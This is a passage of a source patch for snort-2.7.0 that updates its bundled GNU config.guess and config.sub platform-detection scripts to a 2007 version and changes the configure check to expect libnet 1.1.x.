+	echo ${UNAME_MACHINE}-pc-rdos
+	exit ;;
 esac
 
 #echo '(No uname command or uname output not recognized.)' 1>&2
@@ -1156,7 +1345,7 @@
 #endif
 
 #if defined (__arm) && defined (__acorn) && defined (__unix)
-  printf ("arm-acorn-riscix"); exit (0);
+  printf ("arm-acorn-riscix\n"); exit (0);
 #endif
 
 #if defined (hp300) && !defined (hpux)
@@ -1245,12 +1434,12 @@
 }
 EOF
 
-$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm -f $dummy.c $dummy && exit 0
-rm -f $dummy.c $dummy
+$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && SYSTEM_NAME=`$dummy` &&
+	{ echo "$SYSTEM_NAME"; exit; }
 
 # Apollos put the system type in the environment.
 
-test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; }
+test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit; }
 
 # Convex versions that predate uname can use getsysinfo(1)
 
@@ -1259,22 +1448,22 @@
     case `getsysinfo -f cpu_type` in
     c1*)
 	echo c1-convex-bsd
-	exit 0 ;;
+	exit ;;
     c2*)
 	if getsysinfo -f scalar_acc
 	then echo c32-convex-bsd
 	else echo c2-convex-bsd
 	fi
-	exit 0 ;;
+	exit ;;
     c34*)
 	echo c34-convex-bsd
-	exit 0 ;;
+	exit ;;
     c38*)
 	echo c38-convex-bsd
-	exit 0 ;;
+	exit ;;
     c4*)
 	echo c4-convex-bsd
-	exit 0 ;;
+	exit ;;
     esac
 fi
 
@@ -1285,7 +1474,9 @@
 the operating system you are using. It is advised that you
 download the most up to date version of the config scripts from
 
-    ftp://ftp.gnu.org/pub/gnu/config/
+  http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.guess
+and
+  http://savannah.gnu.org/cgi-bin/viewcvs/*checkout*/config/config/config.sub
 
 If the version you run ($0) is already up to date, please
 send the following data and any information you think might be
--- snort-2.7.0.orig/config.sub
+++ snort-2.7.0/config.sub
@@ -1,9 +1,10 @@
 #! /bin/sh
 # Configuration validation subroutine script.
 #   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-#   2000, 2001, 2002 Free Software Foundation, Inc.
+#   2000, 2001, 2002, 2003, 2004, 2005, 2006 Free Software Foundation,
+#   Inc.
 
-timestamp='2002-01-02'
+timestamp='2007-06-28'
 
 # This file is (in principle) common to ALL GNU software.
 # The presence of a machine in this file suggests that SOME GNU software
@@ -21,14 +22,15 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 02111-1307, USA.
-
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
+#
 # As a special exception to the GNU General Public License, if you
 # distribute this file as part of a program that contains a
 # configuration script generated by Autoconf, you may include it under
 # the same distribution terms that you use for the rest of that program.
 
+
 # Please send patches to <config-patches@gnu.org>.  Submit a context
 # diff and a properly formatted ChangeLog entry.
 #
@@ -70,7 +72,7 @@
 version="\
 GNU config.sub ($timestamp)
 
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005
 Free Software Foundation, Inc.
 
 This is free software; see the source for copying conditions.  There is NO
@@ -83,11 +85,11 @@
 while test $# -gt 0 ; do
   case $1 in
     --time-stamp | --time* | -t )
-       echo "$timestamp" ; exit 0 ;;
+       echo "$timestamp" ; exit ;;
     --version | -v )
-       echo "$version" ; exit 0 ;;
+       echo "$version" ; exit ;;
     --help | --h* | -h )
-       echo "$usage"; exit 0 ;;
+       echo "$usage"; exit ;;
     -- )     # Stop option processing
        shift; break ;;
     - )	# Use stdin as input.
@@ -99,7 +101,7 @@
     *local*)
        # First pass through any local machine types.
        echo $1
-       exit 0;;
+       exit ;;
 
     * )
        break ;;
@@ -118,7 +120,9 @@
 # Here we must recognize all the valid KERNEL-OS combinations.
 maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
 case $maybe_os in
-  nto-qnx* | linux-gnu* | storm-chaos* | os2-emx* | windows32-*)
+  nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \
+  uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \
+  storm-chaos* | os2-emx* | rtmk-nova*)
     os=-$maybe_os
     basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
     ;;
@@ -144,7 +148,7 @@
 	-convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
 	-c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
 	-harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
-	-apple | -axis)
+	-apple | -axis | -knuth | -cray)
 		os=
 		basic_machine=$1
 		;;
@@ -169,6 +173,10 @@
 	-hiux*)
 		os=-hiuxwe2
 		;;
+	-sco6)
+		os=-sco5v6
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
 	-sco5)
 		os=-sco3.2v5
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
@@ -185,6 +193,10 @@
 		# Don't forget version if it is 3.2v4 or newer.
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
 		;;
+	-sco5v6*)
+		# Don't forget version if it is 3.2v4 or newer.
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
 	-sco*)
 		os=-sco3.2v2
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
@@ -228,31 +240,52 @@
 	| a29k \
 	| alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \
 	| alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \
-	| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \
+	| am33_2.0 \
+	| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \
+	| bfin \
 	| c4x | clipper \
-	| d10v | d30v | dsp16xx \
-	| fr30 \
+	| d10v | d30v | dlx | dsp16xx \
+	| fido | fr30 | frv \
 	| h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
 	| i370 | i860 | i960 | ia64 \
-	| m32r | m68000 | m68k | m88k | mcore \
-	| mips16 | mips64 | mips64el | mips64orion | mips64orionel \
-	| mips64vr4100 | mips64vr4100el | mips64vr4300 \
-	| mips64vr4300el | mips64vr5000 | mips64vr5000el \
-	| mipsbe | mipseb | mipsel | mipsle | mipstx39 | mipstx39el \
-	| mipsisa32 \
+	| ip2k | iq2000 \
+	| m32c | m32r | m32rle | m68000 | m68k | m88k \
+	| maxq | mb | microblaze | mcore | mep \
+	| mips | mipsbe | mipseb | mipsel | mipsle \
+	| mips16 \
+	| mips64 | mips64el \
+	| mips64vr | mips64vrel \
+	| mips64orion | mips64orionel \
+	| mips64vr4100 | mips64vr4100el \
+	| mips64vr4300 | mips64vr4300el \
+	| mips64vr5000 | mips64vr5000el \
+	| mips64vr5900 | mips64vr5900el \
+	| mipsisa32 | mipsisa32el \
+	| mipsisa32r2 | mipsisa32r2el \
+	| mipsisa64 | mipsisa64el \
+	| mipsisa64r2 | mipsisa64r2el \
+	| mipsisa64sb1 | mipsisa64sb1el \
+	| mipsisa64sr71k | mipsisa64sr71kel \
+	| mipstx39 | mipstx39el \
 	| mn10200 | mn10300 \
+	| mt \
+	| msp430 \
+	| nios | nios2 \
 	| ns16k | ns32k \
-	| openrisc \
+	| or32 \
 	| pdp10 | pdp11 | pj | pjl \
 	| powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \
 	| pyramid \
-	| sh | sh[34] | sh[34]eb | shbe | shle \
-	| sparc | sparc64 | sparclet | sparclite | sparcv9 | sparcv9b \
-	| strongarm \
-	| tahoe | thumb | tic80 | tron \
+	| score \
+	| sh | sh[1234] | sh[24]a | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \
+	| sh64 | sh64le \
+	| sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \
+	| sparcv8 | sparcv9 | sparcv9b | sparcv9v \
+	| spu | strongarm \
+	| tahoe | thumb | tic4x | tic80 | tron \
 	| v850 | v850e \
 	| we32k \
-	| x86 | xscale | xstormy16 | xtensa \
+	| x86 | xc16x | xscale | xscalee[bl] | xstormy16 | xtensa \
 	| z8k)
 		basic_machine=$basic_machine-unknown
 		;;
@@ -263,6 +296,9 @@
 		;;
 	m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k)
 		;;
+	ms1)
+		basic_machine=mt-unknown
+		;;
 
 	# We use `pc' rather than `unknown'
 	# because (1) that's what they normally are, and
@@ -281,38 +317,59 @@
 	| alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \
 	| alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \
 	| alphapca5[67]-* | alpha64pca5[67]-* | arc-* \
-	| arm-*  | armbe-* | armle-* | armv*-* \
-	| avr-* \
-	| bs2000-* \
-	| c[123]* | c30-* | [cjt]90-* | c54x-* \
-	| clipper-* | cray2-* | cydra-* \
-	| d10v-* | d30v-* \
+	| arm-*  | armbe-* | armle-* | armeb-* | armv*-* \
+	| avr-* | avr32-* \
+	| bfin-* | bs2000-* \
+	| c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \
+	| clipper-* | craynv-* | cydra-* \
+	| d10v-* | d30v-* | dlx-* \
 	| elxsi-* \
-	| f30[01]-* | f700-* | fr30-* | fx80-* \
+	| f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \
 	| h8300-* | h8500-* \
 	| hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
 	| i*86-* | i860-* | i960-* | ia64-* \
-	| m32r-* \
-	| m68000-* | m680[01234]0-* | m68360-* | m683?2-* | m68k-* \
-	| m88110-* | m88k-* | mcore-* \
-	| mips-* | mips16-* | mips64-* | mips64el-* | mips64orion-* \
-	| mips64orionel-* | mips64vr4100-* | mips64vr4100el-* \
-	| mips64vr4300-* | mips64vr4300el-* | mipsbe-* | mipseb-* \
-	| mipsle-* | mipsel-* | mipstx39-* | mipstx39el-* \
+	| ip2k-* | iq2000-* \
+	| m32c-* | m32r-* | m32rle-* \
+	| m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \
+	| m88110-* | m88k-* | maxq-* | mcore-* \
+	| mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
+	| mips16-* \
+	| mips64-* | mips64el-* \
+	| mips64vr-* | mips64vrel-* \
+	| mips64orion-* | mips64orionel-* \
+	| mips64vr4100-* | mips64vr4100el-* \
+	| mips64vr4300-* | mips64vr4300el-* \
+	| mips64vr5000-* | mips64vr5000el-* \
+	| mips64vr5900-* | mips64vr5900el-* \
+	| mipsisa32-* | mipsisa32el-* \
+	| mipsisa32r2-* | mipsisa32r2el-* \
+	| mipsisa64-* | mipsisa64el-* \
+	| mipsisa64r2-* | mipsisa64r2el-* \
+	| mipsisa64sb1-* | mipsisa64sb1el-* \
+	| mipsisa64sr71k-* | mipsisa64sr71kel-* \
+	| mipstx39-* | mipstx39el-* \
+	| mmix-* \
+	| mt-* \
+	| msp430-* \
+	| nios-* | nios2-* \
 	| none-* | np1-* | ns16k-* | ns32k-* \
 	| orion-* \
 	| pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \
 	| powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \
 	| pyramid-* \
 	| romp-* | rs6000-* \
-	| sh-* | sh[34]-* | sh[34]eb-* | shbe-* | shle-* \
-	| sparc-* | sparc64-* | sparc86x-* | sparclite-* \
-	| sparcv9-* | sparcv9b-* | strongarm-* | sv1-* \
-	| t3e-* | tahoe-* | thumb-* | tic30-* | tic54x-* | tic80-* | tron-* \
+	| sh-* | sh[1234]-* | sh[24]a-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \
+	| shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \
+	| sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \
+	| sparclite-* \
+	| sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | strongarm-* | sv1-* | sx?-* \
+	| tahoe-* | thumb-* \
+	| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \
+	| tron-* \
 	| v850-* | v850e-* | vax-* \
 	| we32k-* \
-	| x86-* | x86_64-* | xmp-* | xps100-* | xscale-* | xstormy16-* \
-	| xtensa-* \
+	| x86-* | x86_64-* | xc16x-* | xps100-* | xscale-* | xscalee[bl]-* \
+	| xstormy16-* | xtensa-* \
 	| ymp-* \
 	| z8k-*)
 		;;
@@ -332,6 +389,9 @@
 		basic_machine=a29k-amd
 		os=-udi
 		;;
+    	abacus)
+		basic_machine=abacus-unknown
+		;;
 	adobe68k)
 		basic_machine=m68010-adobe
 		os=-scout
@@ -346,6 +406,12 @@
 		basic_machine=a29k-none
 		os=-bsd
 		;;
+	amd64)
+		basic_machine=x86_64-pc
+		;;
+	amd64-*)
+		basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	amdahl)
 		basic_machine=580-amdahl
 		os=-sysv
@@ -377,6 +443,10 @@
 		basic_machine=ns32k-sequent
 		os=-dynix
 		;;
+	c90)
+		basic_machine=c90-cray
+		os=-unicos
+		;;
 	convex-c1)
 		basic_machine=c1-convex
 		os=-bsd
@@ -397,24 +467,31 @@
 		basic_machine=c38-convex
 		os=-bsd
 		;;
-	cray | ymp)
-		basic_machine=ymp-cray
+	cray | j90)
+		basic_machine=j90-cray
 		os=-unicos
 		;;
-	cray2)
-		basic_machine=cray2-cray
-		os=-unicos
+	craynv)
+		basic_machine=craynv-cray
+		os=-unicosmp
 		;;
-	[cjt]90)
-		basic_machine=${basic_machine}-cray
-		os=-unicos
+	cr16)
+		basic_machine=cr16-unknown
+		os=-elf
 		;;
 	crds | unos)
 		basic_machine=m68k-crds
 		;;
+	crisv32 | crisv32-* | etraxfs*)
+		basic_machine=crisv32-axis
+		;;
 	cris | cris-* | etrax*)
 		basic_machine=cris-axis
 		;;
+	crx)
+		basic_machine=crx-unknown
+		os=-elf
+		;;
 	da30 | da30-*)
 		basic_machine=m68k-da30
 		;;
@@ -437,6 +514,10 @@
 		basic_machine=m88k-motorola
 		os=-sysv3
 		;;
+	djgpp)
+		basic_machine=i586-pc
+		os=-msdosdjgpp
+		;;
 	dpx20 | dpx20-*)
 		basic_machine=rs6000-bull
 		os=-bosx
@@ -602,6 +683,10 @@
 		basic_machine=i386-pc
 		os=-mingw32
 		;;
+	mingw32ce)
+		basic_machine=arm-unknown
+		os=-mingw32ce
+		;;
 	miniframe)
 		basic_machine=m68000-convergent
 		;;
@@ -609,24 +694,12 @@
 		basic_machine=m68k-atari
 		os=-mint
 		;;
-	mipsel*-linux*)
-		basic_machine=mipsel-unknown
-		os=-linux-gnu
-		;;
-	mips*-linux*)
-		basic_machine=mips-unknown
-		os=-linux-gnu
-		;;
 	mips3*-*)
 		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
 		;;
 	mips3*)
 		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
 		;;
-	mmix*)
-		basic_machine=mmix-knuth
-		os=-mmixware
-		;;
 	monitor)
 		basic_machine=m68k-rom68k
 		os=-coff
@@ -639,6 +712,9 @@
 		basic_machine=i386-pc
 		os=-msdos
 		;;
+	ms1-*)
+		basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'`
+		;;
 	mvs)
 		basic_machine=i370-ibm
 		os=-mvs
@@ -714,6 +790,13 @@
 		basic_machine=hppa1.1-oki
 		os=-proelf
 		;;
+	openrisc | openrisc-*)
+		basic_machine=or32-unknown
+		;;
+	os400)
+		basic_machine=powerpc-ibm
+		os=-os400
+		;;
 	OSE68000 | ose68000)
 		basic_machine=m68000-ericsson
 		os=-ose
@@ -736,49 +819,61 @@
 	pbb)
 		basic_machine=m68k-tti
 		;;
-        pc532 | pc532-*)
+	pc532 | pc532-*)
 		basic_machine=ns32k-pc532
 		;;
+	pc98)
+		basic_machine=i386-pc
+		;;
+	pc98-*)
+		basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	pentium | p5 | k5 | k6 | nexgen | viac3)
 		basic_machine=i586-pc
 		;;
-	pentiumpro | p6 | 6x86 | athlon)
+	pentiumpro | p6 | 6x86 | athlon | athlon_*)
 		basic_machine=i686-pc
 		;;
-	pentiumii | pentium2)
+	pentiumii | pentium2 | pentiumiii | pentium3)
 		basic_machine=i686-pc
 		;;
+	pentium4)
+		basic_machine=i786-pc
+		;;
 	pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*)
 		basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	pentiumpro-* | p6-* | 6x86-* | athlon-*)
 		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
-	pentiumii-* | pentium2-*)
+	pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*)
 		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
+	pentium4-*)
+		basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	pn)
 		basic_machine=pn-gould
 		;;
 	power)	basic_machine=power-ibm
 		;;
 	ppc)	basic_machine=powerpc-unknown
-	        ;;
+		;;
 	ppc-*)	basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppcle | powerpclittle | ppc-le | powerpc-little)
 		basic_machine=powerpcle-unknown
-	        ;;
+		;;
 	ppcle-* | powerpclittle-*)
 		basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppc64)	basic_machine=powerpc64-unknown
-	        ;;
+		;;
 	ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppc64le | powerpc64little | ppc64-le | powerpc64-little)
 		basic_machine=powerpc64le-unknown
-	        ;;
+		;;
 	ppc64le-* | powerpc64little-*)
 		basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
@@ -789,6 +884,10 @@
 		basic_machine=i586-unknown
 		os=-pw32
 		;;
+	rdos)
+		basic_machine=i386-pc
+		os=-rdos
+		;;
 	rom68k)
 		basic_machine=m68k-rom68k
 		os=-coff
@@ -809,6 +908,20 @@
 		basic_machine=a29k-amd
 		os=-udi
 		;;
+	sb1)
+		basic_machine=mipsisa64sb1-unknown
+		;;
+	sb1el)
+		basic_machine=mipsisa64sb1el-unknown
+		;;
+	sde)
+		basic_machine=mipsisa32-sde
+		os=-elf
+		;;
+	sei)
+		basic_machine=mips-sei
+		os=-seiux
+		;;
 	sequent)
 		basic_machine=i386-sequent
 		;;
@@ -816,6 +929,12 @@
 		basic_machine=sh-hitachi
 		os=-hms
 		;;
+	sh5el)
+		basic_machine=sh5le-unknown
+		;;
+	sh64)
+		basic_machine=sh64-unknown
+		;;
 	sparclite-wrs | simso-wrs)
 		basic_machine=sparclite-wrs
 		os=-vxworks
@@ -883,13 +1002,25 @@
 		os=-dynix
 		;;
 	t3e)
-		basic_machine=t3e-cray
+		basic_machine=alphaev5-cray
+		os=-unicos
+		;;
+	t90)
+		basic_machine=t90-cray
 		os=-unicos
 		;;
 	tic54x | c54x*)
 		basic_machine=tic54x-unknown
 		os=-coff
 		;;
+	tic55x | c55x*)
+		basic_machine=tic55x-unknown
+		os=-coff
+		;;
+	tic6x | c6x*)
+		basic_machine=tic6x-unknown
+		os=-coff
+		;;
 	tx39)
 		basic_machine=mipstx39-unknown
 		;;
@@ -903,6 +1034,10 @@
 	tower | tower-32)
 		basic_machine=m68k-ncr
 		;;
+	tpf)
+		basic_machine=s390x-ibm
+		os=-tpf
+		;;
 	udi29k)
 		basic_machine=a29k-amd
 		os=-udi
@@ -924,8 +1059,8 @@
 		os=-vms
 		;;
 	vpp*|vx|vx-*)
-               basic_machine=f301-fujitsu
-               ;;
+		basic_machine=f301-fujitsu
+		;;
 	vxworks960)
 		basic_machine=i960-wrs
 		os=-vxworks
@@ -946,17 +1081,17 @@
 		basic_machine=hppa1.1-winbond
 		os=-proelf
 		;;
-	windows32)
-		basic_machine=i386-pc
-		os=-windows32-msvcrt
-		;;
-	xmp)
-		basic_machine=xmp-cray
-		os=-unicos
+	xbox)
+		basic_machine=i686-pc
+		os=-mingw32
 		;;
-        xps | xps100)
+	xps | xps100)
 		basic_machine=xps100-honeywell
 		;;
+	ymp)
+		basic_machine=ymp-cray
+		os=-unicos
+		;;
 	z8k-*-coff)
 		basic_machine=z8k-unknown
 		os=-sim
@@ -977,16 +1112,12 @@
 	op60c)
 		basic_machine=hppa1.1-oki
 		;;
-	mips)
-		if [ x$os = x-linux-gnu ]; then
-			basic_machine=mips-unknown
-		else
-			basic_machine=mips-mips
-		fi
-		;;
 	romp)
 		basic_machine=romp-ibm
 		;;
+	mmix)
+		basic_machine=mmix-knuth
+		;;
 	rs6000)
 		basic_machine=rs6000-ibm
 		;;
@@ -1003,13 +1134,13 @@
 	we32k)
 		basic_machine=we32k-att
 		;;
-	sh3 | sh4 | sh3eb | sh4eb)
+	sh[1234] | sh[24]a | sh[34]eb | sh[1234]le | sh[23]ele)
 		basic_machine=sh-unknown
 		;;
-	sparc | sparcv9 | sparcv9b)
+	sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v)
 		basic_machine=sparc-sun
 		;;
-        cydra)
+	cydra)
 		basic_machine=cydra-cydrome
 		;;
 	orion)
@@ -1024,10 +1155,6 @@
 	pmac | pmac-mpw)
 		basic_machine=powerpc-apple
 		;;
-	c4x*)
-		basic_machine=c4x-none
-		os=-coff
-		;;
 	*-unknown)
 		# Make sure to match an already-canonicalized machine name.
 		;;
@@ -1083,17 +1210,23 @@
 	      | -aos* \
 	      | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
 	      | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
-	      | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \
-	      | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
+	      | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \
+	      | -openbsd* | -solidbsd* \
+	      | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \
+	      | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
 	      | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
 	      | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
 	      | -chorusos* | -chorusrdb* \
 	      | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
-	      | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \
-	      | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \
+	      | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \
+	      | -uxpv* | -beos* | -mpeix* | -udk* \
+	      | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
 	      | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
 	      | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \
-	      | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* | -morphos*)
+	      | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \
+	      | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \
+	      | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \
+	      | -skyos* | -haiku* | -rdos* | -toppers* | -drops*)
 	# Remember, each alternative MUST END IN *, to match a version number.
 		;;
 	-qnx*)
@@ -1105,16 +1238,21 @@
 			;;
 		esac
 		;;
+	-nto-qnx*)
+		;;
 	-nto*)
-		os=-nto-qnx
+		os=`echo $os | sed -e 's|nto|nto-qnx|'`
 		;;
 	-sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \
-	      | -windows* | -osx | -abug | -netware* | -os9* | -beos* \
+	      | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \
 	      | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*)
 		;;
 	-mac*)
 		os=`echo $os | sed -e 's|mac|macos|'`
 		;;
+	-linux-dietlibc)
+		os=-linux-dietlibc
+		;;
 	-linux*)
 		os=`echo $os | sed -e 's|linux|linux-gnu|'`
 		;;
@@ -1127,6 +1265,9 @@
 	-opened*)
 		os=-openedition
 		;;
+        -os400*)
+		os=-os400
+		;;
 	-wince*)
 		os=-wince
 		;;
@@ -1148,14 +1289,20 @@
 	-atheos*)
 		os=-atheos
 		;;
+	-syllable*)
+		os=-syllable
+		;;
 	-386bsd)
 		os=-bsd
 		;;
 	-ctix* | -uts*)
 		os=-sysv
 		;;
+	-nova*)
+		os=-rtmk-nova
+		;;
 	-ns2 )
-	        os=-nextstep2
+		os=-nextstep2
 		;;
 	-nsk*)
 		os=-nsk
@@ -1167,6 +1314,9 @@
 	-sinix*)
 		os=-sysv4
 		;;
+        -tpf*)
+		os=-tpf
+		;;
 	-triton*)
 		os=-sysv3
 		;;
@@ -1194,8 +1344,17 @@
 	-xenix)
 		os=-xenix
 		;;
-        -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
-	        os=-mint
+	-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+		os=-mint
+		;;
+	-aros*)
+		os=-aros
+		;;
+	-kaos*)
+		os=-kaos
+		;;
+	-zvmoe)
+		os=-zvmoe
 		;;
 	-none)
 		;;
@@ -1219,6 +1378,12 @@
 # system, and we'll never get to this point.
 
 case $basic_machine in
+        score-*)
+		os=-elf
+		;;
+        spu-*)
+		os=-elf
+		;;
 	*-acorn)
 		os=-riscix1.2
 		;;
@@ -1228,11 +1393,14 @@
 	arm*-semi)
 		os=-aout
 		;;
+        c4x-* | tic4x-*)
+        	os=-coff
+		;;
 	# This must come before the *-dec entry.
 	pdp10-*)
 		os=-tops20
 		;;
-        pdp11-*)
+	pdp11-*)
 		os=-none
 		;;
 	*-dec | vax-*)
@@ -1253,12 +1421,18 @@
 	m68*-cisco)
 		os=-aout
 		;;
+        mep-*)
+		os=-elf
+		;;
 	mips*-cisco)
 		os=-elf
 		;;
 	mips*-*)
 		os=-elf
 		;;
+	or32-*)
+		os=-coff
+		;;
 	*-tti)	# must be before sparc entry or we get the wrong os.
 		os=-sysv3
 		;;
@@ -1268,9 +1442,15 @@
 	*-be)
 		os=-beos
 		;;
+	*-haiku)
+		os=-haiku
+		;;
 	*-ibm)
 		os=-aix
 		;;
+    	*-knuth)
+		os=-mmixware
+		;;
 	*-wec)
 		os=-proelf
 		;;
@@ -1322,19 +1502,19 @@
 	*-next)
 		os=-nextstep3
 		;;
-        *-gould)
+	*-gould)
 		os=-sysv
 		;;
-        *-highlevel)
+	*-highlevel)
 		os=-bsd
 		;;
 	*-encore)
 		os=-bsd
 		;;
-        *-sgi)
+	*-sgi)
 		os=-irix
 		;;
-        *-siemens)
+	*-siemens)
 		os=-sysv4
 		;;
 	*-masscomp)
@@ -1403,10 +1583,16 @@
 			-mvs* | -opened*)
 				vendor=ibm
 				;;
+			-os400*)
+				vendor=ibm
+				;;
 			-ptx*)
 				vendor=sequent
 				;;
-			-vxsim* | -vxworks*)
+			-tpf*)
+				vendor=ibm
+				;;
+			-vxsim* | -vxworks* | -windiss*)
 				vendor=wrs
 				;;
 			-aux*)
@@ -1430,7 +1616,7 @@
 esac
 
 echo $basic_machine$os
-exit 0
+exit
 
 # Local variables:
 # eval: (add-hook 'write-file-hooks 'time-stamp)
--- snort-2.7.0.orig/configure.in
+++ snort-2.7.0/configure.in
@@ -938,7 +938,7 @@
          else
             libnet_dir="/usr/include /usr/local/include /sw/include"
         fi
-        AC_MSG_CHECKING("for libnet.h version 1.0.x")
+        AC_MSG_CHECKING("for libnet.h version 1.1.x")
         for i in $libnet_dir; do
             if test -r $i/libnet.h; then
                 LIBNET_INC_DIR=$i
@@ -946,8 +946,8 @@
         done
 
         if test "$LIBNET_INC_DIR" != ""; then
-            if eval "grep LIBNET_VERSION $LIBNET_INC_DIR/libnet.h | grep -v 1.0 >/dev/null"; then
-                FAIL_MESSAGE("libnet 1.0.x (libnet.h)", $LIBNET_INC_DIR)
+            if eval "grep LIBNET_VERSION $LIBNET_INC_DIR/libnet.h | grep -v 1.1 >/dev/null"; then
+                FAIL_MESSAGE("libnet 1.1.x (libnet.h)", $LIBNET_INC_DIR)
             fi
             CFLAGS="${CFLAGS} `libnet-config --defines` `libnet-config --cflags`"
             LIBS="${LIBS} `libnet-config --libs`"
@@ -955,7 +955,7 @@
             AC_MSG_RESULT($i)
         else
             AC_MSG_RESULT(no)
-            AC_MSG_ERROR("libnet 1.0.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/")
+            AC_MSG_ERROR("libnet 1.1.x could not be found.  please download and install the library from http://www.packetfactory.net/libnet/")
         fi
     fi
 fi
--- snort-2.7.0.orig/snort.8
+++ snort-2.7.0/snort.8
@@ -268,7 +268,7 @@
 .IP "-P snap-length"
